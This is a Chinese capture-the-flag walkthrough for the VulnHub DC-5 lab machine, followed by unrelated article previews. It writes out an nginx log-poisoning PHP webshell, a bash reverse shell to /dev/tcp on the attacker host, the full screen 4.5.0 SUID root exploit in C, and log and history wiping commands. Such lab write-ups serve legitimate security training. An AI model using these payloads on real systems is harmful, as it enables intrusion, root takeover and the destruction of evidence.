vulnhub靶场【DC系列】之5
前言
靶机:DC-5,IP地址为192.168.10.4
攻击:kali,IP地址为192.168.10.2
都采用VMWare,网卡为桥接模式
对于文章中涉及到的靶场以及工具,我放置网盘中
https://pan.quark.cn/s/2fcf53ade985
主机发现
使用arp-scan -l或者netdiscover -r 192.168.10.1/24

信息收集
使用nmap扫描端口

网站信息探测
访问80端口默认界面,查看页面源代码,发现脚本语言为php

使用gobuster、dirsearch、ffuf、dirb、dirbuster等工具对目标进行目录爆破
gobuster dir -u http://192.168.10.4 -w /usr/share/wordlists/dirb/big.txt -x php,html,txt,md -d -b 404

漏洞寻找
既然是php文件,并且当前也没有什么可用,那么使用ffuf对这些php脚本文件进行模糊测试,测试有无一些隐藏的参数,知道几个的php文件,来回进行一个测试,最终在thankyou.php发现
ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://192.168.10.4/thankyou.php?FUZZ=./contact.php -fs 852
#FUZZ是前面字典的测试点,也就是测试参数
#FUZZ后面的是已知的网站php文件,如果存在文件包含等,可能就会显示
#-fs是过滤该字节大小的数据,也就是原始的thankyou.php的数据大小

发现参数file,那么再测试有什么可注入点,通过这个参数
ffuf -c -w /usr/share/wordlists/wfuzz/Injections/All_attack.txt -u http://192.168.10.4/thankyou.php?file=FUZZ -fs 835
#-fs后面的数据变化了,是因为数据大小发生变化,在有file参数后,原始的大小变为835

通过构造链接,获取/etc/passwd文件,发现靶机内有一个用户dc

但是这里没有办法获取/etc/shadow文件,所以继续寻找其他点,尝试使用从github上获取的字典,继续进行测试
ffuf -c -w /usr/share/wordlists/linux_file.txt -u http://192.168.10.4/thankyou.php?file=FUZZ -fs 835

漏洞利用
但是这里访问一圈,没有获取到有用信息。
这时候去前面看了一下nmap的扫描, 想起这里的网站使用的是nginx,偏偏使用的字典没有包括这个,这里就手动输入
| 路径 | 作用 |
|---|---|
/etc/nginx/nginx.conf | 主配置文件 |
/var/log/nginx/access.log | 访问日志配置,它将访问日志记录 |
/var/log/nginx/error.log | 记录 Nginx 服务器在运行过程中出现的各种错误信息 |
经过测试,日志文件error.log会记录信息,但是access.log并无记录信息
既然是错误的日志,那么就尝试给予一个传参的值为php代码,然后进行测试
先传入简单的代码进行测试<?php system('id');?>
http://192.168.10.4/thankyou.php?file=<?php system('id');>
访问记录错误的日志文件,发现其中的代码被进行url编码了
访问链接,最好以查看源代码的形式,不然容易出错,或者看不清
view-source:http://192.168.10.4/thankyou.php?file=/var/log/nginx/error.log

那么尝试使用burp进行抓取数据包,测试其在哪个阶段进行的url编码,发现是在到服务器之前进行的编码,那么可以在burp中修改,并且,还是有可能注入的

啧,这里靶机出了问题,再访问error.log没有任何信息,所以无奈之下,重装靶机,可能之前进行爆破的时候,太多导致的
这时候把编码的代码进行复原,然后进行转发

再次访问access.log,这里为什么是access.log不是error.log了呢,因为重装后,好了,access.log有数据了,不过访问error.log也是可以看到数据的
访问access.log的效果如下
view-source:http://192.168.10.4/thankyou.php?file=/var/log/nginx/access.log

访问error.log的效果如下
view-source:http://192.168.10.4/thankyou.php?file=/var/log/nginx/error.log

而且说白了,在进行构造时,参数是不是file都行,只要在进行查看,也就是文件包含时,使用即可
这里确定可以执行php代码,那么就尝试设置一个参数,来进行命令执行
构造代码<?php system($_REQUEST['cmd']);?>,然后再次通过burp改包后转发

然后在浏览器上访问,这时候就需要构造链接了
view-source:http://192.168.10.4/thankyou.php?file=/var/log/nginx/access.log&cmd=ls
反弹shell
cmd用于接收用户的输入,然后调用system函数执行,也就相当于命令执行了
尝试通过这样构造一个bash反弹
/bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.10.2/9999 0>&1'#进行URL编码后
%2fbin%2fbash+-c+%27%2fbin%2fbash+-i+%3e%26+%2fdev%2ftcp%2f192.168.10.2%2f9999+0%3e%261%27
把URL编码后的语句传参给cmd,就可以获取到一个反弹shell

在查看当前靶机内用户,发现只要dc,并且其中的目录下,并没有任何文件,个人感觉,可能都不需要提权至dc了
使用find寻找具有SUID权限的文件,啧,发现exim4文件,是不是很眼熟,因为这个和上个靶机很像,就是不知道版本是否一致

提权
测试发现exim4的版本为4.84-2,在使用searchsploit未对应版本,也未在范围内
searchsploit exim 4.8 privilege

不过发现一个不常见的命令screen-4.5.0
使用searchsploit搜索,发现有该版本的提权脚本
searchsploit screen 4.5.0

使用locate定位到文件的位置,然后为了方便复制到当前目录下的位置,然后查看脚本文件内容,发现涉及到gcc编译

那么测试靶机内有无环境,就是有无安装gcc,并且能否使用wget

不过在执行脚本后,直接出错,不过观察脚本,按理说,应该是可以进行创建等操作的,既然在靶机内无法直接执行脚本,那么就把脚本中的内容进行分段处理,这里就是三部分,两个c文件,然后还有编译的操作命令。
注意,我这里因为出现失误,所以后续的代码编辑,文件名称会改变,不过效果不变
//第一部分的c文件
//下面代码存放在 /tmp/libhax.c#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){chown("/tmp/shell", 0, 0);chmod("/tmp/shell", 04755);unlink("/etc/ld.so.preload");printf("[+] done!\n");
}//执行下面的命令
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
然后创建第二个
//第二部分的c文件#include <stdio.h>
int main(void){setuid(0);setgid(0);seteuid(0);setegid(0);execvp("/bin/sh", NULL, NULL);
}//执行下面的命令
gcc -o /tmp/shell /tmp/shell.c
rm -f /tmp/shell.c
然后创建一个脚本文件,或者这里的命令,一个个去执行也是可以的
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/shell
因为靶机内文件编译器有问题,所以这里把两个c文件以及脚本文件编写好,然后通过python,靶机使用wget下载到/tmp目录。
不过在靶机使用gcc编译出现以下问题时,配置以下临时环境变量即可
#报错信息
gcc: error trying to exec 'cc1': execvp: No such file or directory

可以使用临时环境变量配置,一般的gcc关键目录可能都在这个
export PATH=$PATH:/usr/local/bin/
这时候再按照两个c文件对应的gcc编译命令,然后就可以编译成功

执行脚本文件,即可发现提权成功

查看flag

清除痕迹
这里必须要说一下,因为这次对于nginx的日志都已经出现问题了,所以肯定有大量的记录
sed -i "/192.168.10.2/d" /var/log/nginx/access.log
sed -i "/192.168.10.2/d" /var/log/nginx/error.log
对于其他的日志,直接置空或者怎么样都行
历史命令清理
history -r
history -c
总结
该靶场主要考察以下几点:
- 对于网站只有由
php语言编写的时候,要测试有无隐藏的参数,或许这个参数具有文件包含功能,甚至可能会有远程的文件包含 - 对于常见的几种web中间件的配置文件的了解,这里是考察
nginx的日志文件,并通过该日志文件触发php代码,以达到文件包含+命令执行的效果 - 反弹
shell的构造,这里太多了,靶机支持的情况下,可以百度测试,这里提供一个地址https://forum.ywhack.com/shell.php - 对于提权操作,搜索具有SUID权限的文件后,可以查看文件是否具有版本漏洞,可以借助
searchsploit,然后以及靶机内信息收集来确定版本,以确定是否具有漏洞,这里忘了截图uname -a这里可以看到为GNU系统
相关文章:
vulnhub靶场【DC系列】之5
前言 靶机:DC-5,IP地址为192.168.10.4 攻击:kali,IP地址为192.168.10.2 都采用VMWare,网卡为桥接模式 对于文章中涉及到的靶场以及工具,我放置网盘中https://pan.quark.cn/s/2fcf53ade985 主机发现 使用…...
前端面试题合集
1.有哪些方式可以实现数据的实时更新? 一. AJAX轮询(Polling) 轮询是一种通过定时发送HTTP请求到服务器来检查数据更新的方法。客户端每隔一定时间(如每5秒)发送一个请求到服务器,服务器响应当前的数据状态…...
基于RK3568/RK3588大车360度环视影像主动安全行车辅助系统解决方案,支持ADAS/DMS
产品设计初衷 HS-P2-2D是一款针对大车盲区开发的360度全景影像 安全行车辅助系统,通过车身四周安装的超广角像机,经算法合成全景鸟瞰图,通过鸟瞰图,司机非常清楚的看清楚车辆四周情况,大大降低盲区引发的交通事故。 产…...
基于 GEE Sentinel-1 数据集提取水体
目录 1 水体提取原理 2 完整代码 3 运行结果 1 水体提取原理 水体提取是地理信息和遥感技术的关键应用之一,对于多个领域都具有重要的应用价值。它有助于更好地管理水资源,保护环境,减少灾害风险,促进可持续发展,以…...
Python判断、循环练习
01 02 03...
【简博士统计学习方法】第1章:4. 模型的评估与选择
4. 模型的评估与选择 4.1 训练误差与测试误差 假如存在样本容量为 N N N的训练集,将训练集送入学习系统可以训练学习得到一个模型,我们将这么模型用决策函数的形式表达,也就是 y f ^ ( x ) y\hat{f}(x) yf^(x),关于模型的拟合…...
解密Navicat密码(Java)
最近从Navicat换到了DBeaver,导出配置文件发现配置文件里的密码都是加密的,看网上的都是给的PHP代码,因为环境问题,就算是在线上运行的PHP代码也会报错,所以就把这段代码改成Java了。 package com.unicdata.system.con…...
某聘__zp_stoken__参数逆向还原
声明 本文章中所有内容仅供学习交流,严禁用于商业用途和非法用途,否则由此产生的一切后果均与作者无关,若有侵权,请联系我立即删除! 目标网站 aHR0cHM6Ly93d3cuemhpcGluLmNvbS93ZWIvZ2Vlay9qb2I/cXVlcnk9cHl0aG9uJm…...
【数据可视化-11】全国大学数据可视化分析
🧑 博主简介:曾任某智慧城市类企业算法总监,目前在美国市场的物流公司从事高级算法工程师一职,深耕人工智能领域,精通python数据挖掘、可视化、机器学习等,发表过AI相关的专利并多次在AI类比赛中获奖。CSDN…...
声音是如何产生的
一、音频概述 RTMP中一般音频采用aac编码,采样率为44100HZ, 每帧1024采样,帧率43,23.2ms一帧 RTC中一般音频采用opus编码,采样率为48000HZ,每帧480采样,帧率100,10ms一帧 通道数(c…...
梯度下降方法
2.5 梯度下降方法介绍 学习目标 掌握梯度下降法的推导过程知道全梯度下降算法的原理知道随机梯度下降算法的原理知道随机平均梯度下降算法的原理知道小批量梯度下降算法的原理 上一节中给大家介绍了最基本的梯度下降法实现流程,本节我们将进一步介绍梯度下降法的详细…...
web3与AI结合-Sahara AI 项目介绍
背景介绍 Sahara AI 于 2023 年创立,是一个 "区块链AI" 领域的项目。其项目愿景是,利用区块链和隐私技术将现有的 AI 商业模式去中心化,打造公平、透明、低门槛的 “协作 AI 经济” 体系,旨在重构新的利益分配机制以及…...
Nginx——反向代理(三/五)
目录 1.Nginx 反向代理1.1.Nginx 反向代理概述1.2.Nginx 反向代理的配置语法1.2.1.proxy_pass1.2.2.proxy_set_header1.2.3.proxy_redirect 1.3.Nginx 反向代理实战1.4.Nginx 的安全控制1.4.1.如何使用 SSL 对流量进行加密1.4.2.Nginx 添加 SSL 的支持1.4.3.Nginx 的 SSL 相关指…...
环动科技平均售价波动下滑:大客户依赖明显,应收账款周转率骤降
《港湾商业观察》施子夫 2024年12月18日,浙江环动机器人关节科技股份有限公司(以下简称,环动科技)的上市审核状态变更为“已问询”,公司在11月25日科创板IPO获上交所受理,独家保荐机构为广发证券。 此次环…...
源网荷储:构建智慧能源生态的关键方案设计
一、技术融合基石 多元能源采集技术:在 “源” 端,除了常见的光伏、风电、火电,生物质能发电、地热能利用技术也应纳入考量。例如在有丰富生物质原料的农村地区,小型生物质发电厂可实现废物利用与供电双赢;地热资源丰…...
进程间通讯
简介: 进程间通讯方式有: 1.内存映射(mmap): 使用mmap函数将磁盘空间映射到内存 2.管道 3.信号 4.套接字(socket) 5.信号机制 通过进程中kill函数,去给另一个函数发送信号&a…...
STM32-笔记33-OLED实验
实验目的 驱动 OLED 屏幕,显示点、线、字符、字符串、汉字、图片等内容。 项目实现-OLED通讯协议 复制项目文件19-串口打印功能 重命名为47-OLED实验 打开项目文件 加载文件 代码书写顺序: oled.c #include "oled.h"//初始化oled的gpio …...
低空管控技术-无人机云监视技术详解!
一、无人机监听技术的原理 无人机监听技术主要依赖于射频(RF)探测、光学和红外传感器等技术手段。这些技术通过被动监听和监测无人机与飞行员(或控制器)之间的通信链路传输,以确定无人机的位置,甚至在某些…...
RedisTemplate执行lua脚本及Lua 脚本语言详解
使用RedisTemplate执行lua脚本 在开发中,我们经常需要与Redis数据库进行交互,而Redis是一个基于内存的高性能键值存储数据库,它支持多种数据结构,并提供了丰富的命令接口。在某些情况下,我们可能需要执行一些复杂的逻…...
基于springboot的网上商城购物系统
作者:学姐 开发技术:SpringBoot、SSM、Vue、MySQL、JSP、ElementUI、Python、小程序等 文末获取“源码数据库万字文档PPT”,支持远程部署调试、运行安装。 目录 项目包含: 开发说明: 系统功能: 项目截图…...
React Native 导航系统实战(React Navigation)
导航系统实战(React Navigation) React Navigation 是 React Native 应用中最常用的导航库之一,它提供了多种导航模式,如堆栈导航(Stack Navigator)、标签导航(Tab Navigator)和抽屉…...
Vue3 + Element Plus + TypeScript中el-transfer穿梭框组件使用详解及示例
使用详解 Element Plus 的 el-transfer 组件是一个强大的穿梭框组件,常用于在两个集合之间进行数据转移,如权限分配、数据选择等场景。下面我将详细介绍其用法并提供一个完整示例。 核心特性与用法 基本属性 v-model:绑定右侧列表的值&…...
iPhone密码忘记了办?iPhoneUnlocker,iPhone解锁工具Aiseesoft iPhone Unlocker 高级注册版分享
平时用 iPhone 的时候,难免会碰到解锁的麻烦事。比如密码忘了、人脸识别 / 指纹识别突然不灵,或者买了二手 iPhone 却被原来的 iCloud 账号锁住,这时候就需要靠谱的解锁工具来帮忙了。Aiseesoft iPhone Unlocker 就是专门解决这些问题的软件&…...
鸿蒙中用HarmonyOS SDK应用服务 HarmonyOS5开发一个医院挂号小程序
一、开发准备 环境搭建: 安装DevEco Studio 3.0或更高版本配置HarmonyOS SDK申请开发者账号 项目创建: File > New > Create Project > Application (选择"Empty Ability") 二、核心功能实现 1. 医院科室展示 /…...
【ROS】Nav2源码之nav2_behavior_tree-行为树节点列表
1、行为树节点分类 在 Nav2(Navigation2)的行为树框架中,行为树节点插件按照功能分为 Action(动作节点)、Condition(条件节点)、Control(控制节点) 和 Decorator(装饰节点) 四类。 1.1 动作节点 Action 执行具体的机器人操作或任务,直接与硬件、传感器或外部系统…...
Map相关知识
数据结构 二叉树 二叉树,顾名思义,每个节点最多有两个“叉”,也就是两个子节点,分别是左子 节点和右子节点。不过,二叉树并不要求每个节点都有两个子节点,有的节点只 有左子节点,有的节点只有…...
学习STC51单片机32(芯片为STC89C52RCRC)OLED显示屏2
每日一言 今天的每一份坚持,都是在为未来积攒底气。 案例:OLED显示一个A 这边观察到一个点,怎么雪花了就是都是乱七八糟的占满了屏幕。。 解释 : 如果代码里信号切换太快(比如 SDA 刚变,SCL 立刻变&#…...
Web 架构之 CDN 加速原理与落地实践
文章目录 一、思维导图二、正文内容(一)CDN 基础概念1. 定义2. 组成部分 (二)CDN 加速原理1. 请求路由2. 内容缓存3. 内容更新 (三)CDN 落地实践1. 选择 CDN 服务商2. 配置 CDN3. 集成到 Web 架构 …...
Python Ovito统计金刚石结构数量
大家好,我是小马老师。 本文介绍python ovito方法统计金刚石结构的方法。 Ovito Identify diamond structure命令可以识别和统计金刚石结构,但是无法直接输出结构的变化情况。 本文使用python调用ovito包的方法,可以持续统计各步的金刚石结构,具体代码如下: from ovito…...
iview框架主题色的应用
1.下载 less要使用3.0.0以下的版本 npm install less2.7.3 npm install less-loader4.0.52./src/config/theme.js文件 module.exports {yellow: {theme-color: #FDCE04},blue: {theme-color: #547CE7} }在sass中使用theme配置的颜色主题,无需引入,直接可…...
